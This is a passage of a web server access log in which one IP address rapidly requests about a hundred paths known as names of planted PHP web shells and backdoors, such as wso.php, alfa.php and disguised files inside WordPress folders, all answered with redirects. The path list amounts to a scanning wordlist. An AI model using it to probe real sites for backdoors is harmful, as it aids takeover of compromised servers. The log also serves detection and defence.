/assets/images/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:03 +0300] "GET /file2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:04 +0300] "GET /wp-includes/ID3/wp-work.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:04 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:04 +0300] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:05 +0300] "GET /wp-includes/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:05 +0300] "GET /.well-known/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:05 +0300] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:25:06 +0300] "GET /wp-admin/js/widgets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:06 +0300] "GET /wp-includes/random_compat/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:06 +0300] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 192.253.209.164 - - [20/Apr/2026:01:25:07 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:07 +0300] "GET /wp-content/plugins/WordPressCore/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:07 +0300] "GET /cgi-bin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 192.253.209.164 - - [20/Apr/2026:01:25:08 +0300] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:25:08 +0300] "GET /wp-admin/user/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:08 +0300] "GET /atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 192.253.209.164 - - [20/Apr/2026:01:25:09 +0300] "GET /wp-includes/js/jquery/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:09 +0300] "GET /wp-includes/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:25:09 +0300] "GET /wp-includes/certificates/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 192.253.209.164 - - [20/Apr/2026:01:25:10 +0300] "GET /wp-includes/images/media/dog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 192.253.209.164 - - [20/Apr/2026:01:25:10 +0300] "GET /xp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:10 +0300] "GET /wp-includes/SimplePie/applicationd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 192.253.209.164 - - [20/Apr/2026:01:25:11 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:11 +0300] "GET /wp-links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:11 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:25:12 +0300] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:12 +0300] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:12 +0300] "GET /wp-includes/pomo/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:13 +0300] "GET /wp-includes/IXR/security.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:13 +0300] "GET /wp-content/plugins/phpadmin/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:13 +0300] "GET /wp-includes/Requests/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:13 +0300] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:14 +0300] "GET /wp-content/plugins/seoo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:25:14 +0300] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:14 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:25:15 +0300] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 192.253.209.164 - - [20/Apr/2026:01:25:15 +0300] "GET /wp-admin/js/widgets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:15 +0300] "GET /webadmin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:25:16 +0300] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:16 +0300] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:25:17 +0300] "GET /xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:25:17 +0300] "GET /go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:17 +0300] "GET /wp-admin/xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 192.253.209.164 - - [20/Apr/2026:01:25:17 +0300] "GET /templates/beez3/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 192.253.209.164 - - [20/Apr/2026:01:25:18 +0300] "GET /wp-admin/css/colors/blue/ahax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:18 +0300] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:25:18 +0300] "GET /wp-includes/assets/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:25:19 +0300] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:19 +0300] "GET /wp-content/uploads/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:19 +0300] "GET /wp-content/plugins/view-more/ioxi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:25:20 +0300] "GET /wp-includes/customize/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 192.253.209.164 - - [20/Apr/2026:01:25:20 +0300] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:20 +0300] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:25:20 +0300] "GET /warm.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:21 +0300] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:21 +0300] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:25:21 +0300] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:22 +0300] "GET /wp-content/plugins/ioxi/ioxiworm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 192.253.209.164 - - [20/Apr/2026:01:25:22 +0300] "GET /blog/wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:22 +0300] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:23 +0300] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 192.253.209.164 - - [20/Apr/2026:01:25:23 +0300] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:25:23 +0300] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:25:24 +0300] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:24 +0300] "GET /wp-content/themes/astra/inc/fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:25:24 +0300] "GET /wp-content/plugins/ccx/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:25:25 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:25:25 +0300] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:25 +0300] "GET /wp-includes/css/dist/edit-widgets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:26 +0300] "GET /wp-includes/css/dist/edit-widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:26 +0300] "GET /wp-includes/Requests/src/Exception/Http/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:26 +0300] "GET /wp-includes/Text/Diff/Renderer/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 192.253.209.164 - - [20/Apr/2026:01:25:26 +0300] "GET /wp-includes/Text/Diff/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:27 +0300] "GET /wp-admin/css/colors/ocean/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:27 +0300] "GET /wp-includes/images/media/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:27 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 192.253.209.164 - - [20/Apr/2026:01:25:28 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:25:28 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 192.253.209.164 - - [20/Apr/2026:01:25:28 +0300] "GET /wp-admin/maint/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:29 +0300] "GET /wp-content/plugins/seoplugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:25:29 +0300] "GET /wp-includes/fonts/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:29 +0300] "GET /wp-content/themes/twentytwentytwo/assets/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 192.253.209.164 - - [20/Apr/2026:01:25:30 +0300] "GET /wp-includes/certificates/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:25:30 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:25:30 +0300] "GET /blog/wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:31 +0300] "GET /wp-includes/images/media/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:31 +0300] "GET /blog/wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:31 +0300] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:32 +0300] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:32 +0300] "GET /cgi-bin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:25:32 +0300] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:33 +0300] "GET /class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:33 +0300] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 192.253.209.164 - - [20/Apr/2026:01:25:33 +0300] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:25:34 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:25:34 +0300] "GET /.alf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:25:34 +0300] "GET /wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:25:35 +0300] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:35 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:35 +0300] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:25:35 +0300] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:25:36 +0300] "GET /wp-content/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:36 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:36 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:25:37 +0300] "GET /setup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:37 +0300] "GET /.bod/.ll/ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 192.253.209.164 - - [20/Apr/2026:01:25:37 +0300] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 192.253.209.164 - - [20/Apr/2026:01:25:38 +0300] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:25:38 +0300] "GET /wp-admin/css/colors/ectoplasm/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:25:38 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:39 +0300] "GET /cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 192.253.209.164 - 